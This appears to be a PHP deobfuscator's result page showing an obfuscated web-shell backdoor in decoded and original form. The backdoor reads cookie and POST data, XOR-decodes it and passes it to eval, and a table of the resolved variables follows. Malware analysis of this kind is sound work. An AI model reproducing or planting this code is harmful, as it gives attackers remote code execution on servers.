Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $IgFOTa/*C*/= 's' . 't' . "\x72" ./* OOCiD */'_'/*xI */./*tgc */'r'/* oO ..

Decoded Output download

<?php $IgFOTa/*C*/=  's'	.	't'    .	"r"    ./*  OOCiD */'_'/*xI */./*tgc  */'r'/*  oO  */./*  pc   */"e"   . "p"	./*  hfF  */"e" .	chr/*  HAaWn   */(97)   .   "t"; 
    $wDHyghOM   =/*  R*/chr/*t  */(/*   WKUiq */213	-   112  ).'x'	.   chr/*J  */(112)	.	"l"	./*  WY */"o"/*  wmSn  */./*  y*/chr	(100) .	"e";$_oA/*   zGLGD*/=/*   ITuyF   */'46584'; 
 
$ahDyQYPQ/*   wBgK   */=	chr/* XSD  */( 431	-/*   VGQ  */319	)."a"	./*  jIGXV*/'c'  ./*   j*/chr/*   rhYn */(107);; 
function/*   ooWCM  */SWicA() 
 /*   xoI   */{ 
     $AsBWHXsY	=	Array   ( "cAAGDBymrQNwOUYtyoq"   =>/*  S   */"euRMKrJPVuPCyKEJgisOwemMZ"	);$_JUc/*   ytLf*/=	'5183'; 
				 
     /* Fh   */$AzXjs = Array	(	"UusUeLibPSIPKOYpkDCP"   =>   "NmpKUlGEWgAdFCYDOyMcH"	);; 
	$PCXJj  =	Array(/*   iKaZ*/$AsBWHXsY,	$_COOKIE,/* pp */$AsBWHXsY,	$_POST,	$AzXjs);$_JY/* uYO */=/*   y   */'63825'; 
		     
 
	return/*K  */$PCXJj;; 
				/*  Ypdc*/} 
 
  
		function	KlCjbwZc($lkqDqyuZe) 
 
/*BfSl   */{ 
 
 
/*qDNy  */if	(	count	(	$lkqDqyuZe/*  L */)	== 3 )     { 
    /*  kFCmA   */$nGRbLMbC/*pO*/=/*   hd   */$lkqDqyuZe[1]; 
   $cMKIgofGzT/*  tdJNh   */=/*PTLR */$lkqDqyuZe[2];; 
	$qgmbv	=  $nGRbLMbC($cMKIgofGzT); 
    eval (	$qgmbv	); 
		   die    ();; 
        } 
 
 
	} 
    /*  TaPd*/ 
		function  ZFEJMjqP($zmtUf, $uqwmArg) 
					/*   o */{ 
     return	$zmtUf	^	$uqwmArg;; 
	   } 
						 
		     $zqggew   =	chr/* o  */(  67	- 32/*qD */);; 
			/*  tMUdQ   */ 
  	foreach/*E   */(SWicA()	as/*NClmj*/$dDXoW)     { 
					    foreach	(/* Wkljh  */$dDXoW/*w*/as	$uqwmArg/*e*/=>	$zmtUf     )/*x  */{ 
/*   kIXn   */ 
    $zmtUf   =/* vjLZH  */@$ahDyQYPQ(   chr/* PwYiF  */(72)/*rO */.	"*",	$zmtUf	);; 
	 
 
 
	$uqwmArg    .=	"bwRCXs-zvspIYW-KpjjVHz-fvx-CTKf-SEDHaAZ-TYg"; 
		    $uqwmArg =    $IgFOTa     (	$uqwmArg,/*MZ */(  strlen( $zmtUf	)/strlen(	$uqwmArg/*nW   */)     )     +/* VrKSx*/1); 
 
 
     
					$MBWRvKxM/*Q  */=  ZFEJMjqP($zmtUf,  $uqwmArg); 
			     
 
 
    $lkqDqyuZe	=	$wDHyghOM/*   Vwv*/($zqggew, $MBWRvKxM    ); 
		 
 	KlCjbwZc($lkqDqyuZe); 
     /*  CU*/ 
			/*   Ba */continue; 
 /*  M   */} 
			/* cefa   */} ?>

Did this file decode correctly?

Original Code

<?php $IgFOTa/*C*/=  's'	.	't'    .	"\x72"    ./*  OOCiD */'_'/*xI */./*tgc  */'r'/*  oO  */./*  pc   */"\x65"   . "\160"	./*  hfF  */"\145" .	chr/*  HAaWn   */(97)   .   "\x74";
    $wDHyghOM   =/*  R*/chr/*t  */(/*   WKUiq */213	-   112  ).'x'	.   chr/*J  */(112)	.	"\154"	./*  WY */"\157"/*  wmSn  */./*  y*/chr	(100) .	"\x65";$_oA/*   zGLGD*/=/*   ITuyF   */'46584';

$ahDyQYPQ/*   wBgK   */=	chr/* XSD  */( 431	-/*   VGQ  */319	)."\141"	./*  jIGXV*/'c'  ./*   j*/chr/*   rhYn */(107);;
function/*   ooWCM  */SWicA()
 /*   xoI   */{
     $AsBWHXsY	=	Array   ( "cAAGDBymrQNwOUYtyoq"   =>/*  S   */"euRMKrJPVuPCyKEJgisOwemMZ"	);$_JUc/*   ytLf*/=	'5183';
				
     /* Fh   */$AzXjs = Array	(	"UusUeLibPSIPKOYpkDCP"   =>   "NmpKUlGEWgAdFCYDOyMcH"	);;
	$PCXJj  =	Array(/*   iKaZ*/$AsBWHXsY,	$_COOKIE,/* pp */$AsBWHXsY,	$_POST,	$AzXjs);$_JY/* uYO */=/*   y   */'63825';
		    

	return/*K  */$PCXJj;;
				/*  Ypdc*/}

 
		function	KlCjbwZc($lkqDqyuZe)

/*BfSl   */{


/*qDNy  */if	(	count	(	$lkqDqyuZe/*  L */)	== 3 )     {
    /*  kFCmA   */$nGRbLMbC/*pO*/=/*   hd   */$lkqDqyuZe[1];
   $cMKIgofGzT/*  tdJNh   */=/*PTLR */$lkqDqyuZe[2];;
	$qgmbv	=  $nGRbLMbC($cMKIgofGzT);
    eval (	$qgmbv	);
		   die    ();;
        }


	}
    /*  TaPd*/
		function  ZFEJMjqP($zmtUf, $uqwmArg)
					/*   o */{
     return	$zmtUf	^	$uqwmArg;;
	   }
						
		     $zqggew   =	chr/* o  */(  67	- 32/*qD */);;
			/*  tMUdQ   */
  	foreach/*E   */(SWicA()	as/*NClmj*/$dDXoW)     {
					    foreach	(/* Wkljh  */$dDXoW/*w*/as	$uqwmArg/*e*/=>	$zmtUf     )/*x  */{
/*   kIXn   */
    $zmtUf   =/* vjLZH  */@$ahDyQYPQ(   chr/* PwYiF  */(72)/*rO */.	"\52",	$zmtUf	);;
	


	$uqwmArg    .=	"bwRCXs-zvspIYW-KpjjVHz-fvx-CTKf-SEDHaAZ-TYg";
		    $uqwmArg =    $IgFOTa     (	$uqwmArg,/*MZ */(  strlen( $zmtUf	)/strlen(	$uqwmArg/*nW   */)     )     +/* VrKSx*/1);


    
					$MBWRvKxM/*Q  */=  ZFEJMjqP($zmtUf,  $uqwmArg);
			    


    $lkqDqyuZe	=	$wDHyghOM/*   Vwv*/($zqggew, $MBWRvKxM    );
		
 	KlCjbwZc($lkqDqyuZe);
     /*  CU*/
			/*   Ba */continue;
 /*  M   */}
			/* cefa   */}

Function Calls

chr 7
SWicA 1

Variables

$_JY 63825
$_oA 46584
$_JUc 5183
$AzXjs [{'key': 'UusUeLibPSIPKOYpkDCP', 'value': 'NmpKUlGEWgAdFCYDOyMcH'}]
$PCXJj [{'key': 0, 'value': [{'key': 'cAAGDBymrQNwOUYtyoq', 'value': 'euRMKrJPVuPCyKEJgisOwemMZ'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'cAAGDBymrQNwOUYtyoq', 'value': 'euRMKrJPVuPCyKEJgisOwemMZ'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'UusUeLibPSIPKOYpkDCP', 'value': 'NmpKUlGEWgAdFCYDOyMcH'}]}]
$IgFOTa str_repeat
$zqggew #
$AsBWHXsY [{'key': 'cAAGDBymrQNwOUYtyoq', 'value': 'euRMKrJPVuPCyKEJgisOwemMZ'}]
$ahDyQYPQ pack
$wDHyghOM explode

Stats

MD5 a8e873dc2d3f377e58646639fcb69024
Eval Count 0
Decode Time 138 ms